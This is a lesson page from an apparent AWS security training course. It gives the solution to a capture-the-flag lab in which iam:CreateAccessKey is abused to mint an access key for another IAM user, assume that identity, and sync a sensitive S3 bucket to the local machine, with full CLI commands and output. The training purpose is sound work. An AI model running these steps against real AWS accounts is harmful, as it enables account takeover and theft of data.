Back to Course

IAM Privilege Escalation Labs

0% Complete
0/0 Steps
  1. Introduction

    About this course
  2. Real-world case studies
  3. Useful IAM tips and security tools
  4. Introduction to AWS Enumeration
    [LAB] Getting Started with the AWS CLI
  5. [LAB] Introduction to AWS IAM Enumeration
  6. [Cheat Sheet] IAM Enumeration CLI Commands
  7. [LAB] Introduction to Secrets Manager Enumeration
  8. [Cheat Sheet] Secrets Manager Enumeration CLI Commands
  9. [LAB] Introduction to Amazon S3 Enumeration
  10. iam:CreateAccessKey
    [LAB] [CTF] iam:CreateAccessKey PrivEsc
  11. iam:CreateAccessKey Solution
  12. iam:CreateLoginProfile
    [LAB] [CTF] iam:CreateLoginProfile PrivEsc
  13. iam:CreateLoginProfile Solution
  14. iam:UpdateLoginProfile
    [LAB] [CTF] iam:UpdateLoginProfile PrivEsc
  15. iam:UpdateLoginProfile Solution
  16. iam:SetDefaultPolicyVersion
    [LAB] [CTF] iam:SetDefaultPolicyVersion PrivEsc
  17. iam:SetDefaultPolicyVersion Solution
  18. iam:AddUserToGroup
    [LAB] [CTF] iam:AddUserToGroup PrivEsc
  19. iam:AddUserToGroup Solution
  20. iam:AttachUserPolicy
    [LAB] [CTF] iam:AttachUserPolicy PrivEsc
  21. iam:AttachUserPolicy Solution
  22. iam:AttachGroupPolicy
    [LAB] [CTF] iam:AttachGroupPolicy PrivEsc
  23. iam:AttachGroupPolicy Solution
  24. iam:PutUserPolicy
    [LAB] [CTF] iam:PutUserPolicy PrivEsc
  25. iam:PutUserPolicy Solution
  26. iam:PutGroupPolicy
    [LAB] [CTF] iam:PutGroupPolicy PrivEsc
  27. iam:PutGroupPolicy Solution
  28. iam:AttachRolePolicy
    [LAB] [CTF] iam:AttachRolePolicy PrivEsc
  29. iam:AttachRolePolicy Solution
  30. iam:PutRolePolicy
    [LAB] [CTF] iam:PutRolePolicy PrivEsc
  31. iam:PutRolePolicy Solution
  32. Challenges
    About challenges
  33. Challenge #1 - Secrets Unleashed
  34. Challenge #2 - IAM Escape Room
  35. Conclusion
    What's next?
Lesson 11 of 35
In Progress

iam:CreateAccessKey Solution

Christophe November 19, 2023


This lab demonstrates the use of iam:CreateAccessKey to gain access to elevated privileges. The potential impact of this attack is anything from getting access to an unintended and low-privileged IAM user all the way to gaining admin privileges.


Retrieve your user ARN that contains your username

aws sts get-caller-identity
Code language: JavaScript (javascript)

List the group(s) that you’re part of using your username

aws iam list-groups-for-user --user-name iam-CreateAccessKey-Test2-Attacker --profile test

Code language: PHP (php)

Use the returned group name to list its policies

aws iam list-group-policies --group-name iam-CreateAccessKey-Test2-Developers --profile test

Code language: PHP (php)

Use the the returned policy name to print out the policy

aws iam get-group-policy --group-name iam-CreateAccessKey-Test2-Developers --policy-name iam-CreateAccessKey-Test2-policy --profile test

Code language: JavaScript (javascript)

We can see that we have iam:CreateAccessKey and ListAccessKeys access, as well as some other IAM access, but no S3 access.

You would need to either find another user to get access to, or a role.

Let’s list out available users:

aws iam list-users --profile test
Code language: PHP (php)

This shows us we have two users in this AWS account.

Let’s list out access key (since we have that permission) for the other user (ends with Victim)(not our user that ends with Attacker)

aws iam list-access-keys \
    --user-name <returned-username-here>

Code language: HTML, XML (xml)

This returns a blank result, which tells us there are no associated access keys.

Let’s create a new access key, which we can do since we have iam:CreateAccessKey permissions.

aws iam create-access-key \
    --user-name <returned-username-here> \
    --output text | tee creds.txt

Code language: HTML, XML (xml)

This will output the access key and you can always retrieve with:

cat creds.txt
Code language: CSS (css)

Assume the newly generated access key and you’re now the Victim user

aws configure --profile victim
AWS Access Key ID [None]: <returned-access-key-id>
AWS Secret Access Key [None]: <returned-secret-access-key>
Default region name [None]: us-east-1
Default output format [None]:

Code language: CSS (css)

Verify it works:

aws sts get-caller-identity --profile victim
    "UserId": "AIDAT6ZKEI3E7ADFUX5KT",
    "Account": "<redacted>",
    "Arn": "<redacted>/iam-CreateAccessKey-Test5-Victim"

Code language: JavaScript (javascript)

Let’s see what group, if any, this user belongs to:

aws iam list-groups-for-user --user-name iam-CreateAccessKey-Test5-Victim --profile victim

    "Groups": [
            "Path": "/",
            "GroupName": "iam-CreateAccessKey-Test5-Developers",
            "GroupId": "AGPAT6ZKEI3ETUX43UUAY",
            "Arn": "arn:aws:iam::<redacted>:group/iam-CreateAccessKey-Test5-Developers",
            "CreateDate": "2023-11-09T20:59:43+00:00"

Code language: PHP (php)

The prior command tels us we are part of the same group as our prior user, so we already know what permissions that grants. We already know that doesn’t grant S3 access, but maybe this user also has a policy attached to it.

We can check:

aws iam list-attached-user-policies --user-name iam-CreateAccessKey-Test5-Victim --profile victim

An error occurred (AccessDenied) when calling the ListAttachedUserPolicies operation: User: arn:aws:iam::<redacted>:user/iam-CreateAccessKey-Test5-Victim is not authorized to perform: iam:ListAttachedUserPolicies on resource: user iam-CreateAccessKey-Test5-Victim because no identity-based policy allows the iam:ListAttachedUserPolicies action

Code language: HTML, XML (xml)

We don’t have access to list that, so we don’t really know. But, we can also check to see if the user has any inline policies (instead of attached)

Check that user’s permissions by listing policies:

aws iam list-user-policies --user-name iam-CreateAccessKey-Test5-Victim --profile victim

    "PolicyNames": [

Code language: PHP (php)

Use that policy name to retrieve permissions:

aws iam get-user-policy --user-name iam-CreateAccessKey-Test5-Victim --policy-name GiveAccessToS3 --profile victim

"PolicyName": "GiveAccessToS3",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
                "Action": [
                "Resource": "arn:aws:s3:::cybr-sensitive-data-bucket-<redacted>",
                "Effect": "Allow"
                "Action": [
                "Resource": "arn:aws:s3:::cybr-sensitive-data-bucket-<redacted>/*",
                "Effect": "Allow"

Code language: PHP (php)

There it is!

Of course, we could have also just run this to check 😉 (but that wouldn’t explain how/why, and where’s the fun in that?)

aws s3 ls --profile victim

You can see that you have access to an S3 bucket with sensitive objects:

aws s3 ls s3://cybr-sensitive-data-bucket-<ID> --profile victim
Code language: HTML, XML (xml)

You can download all of the bucket’s contents:

aws s3 sync s3://cybr-sensitive-data-bucket-<ID> ~/Downloads --profile victim
Code language: HTML, XML (xml)

You will now have those sensitive files downloaded to your local computer.

Congratulations, you’ve successfully exploited iam:CreateAccessKey to access a user you should never have been able to access, and download sensitive data from a restricted bucket.


Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.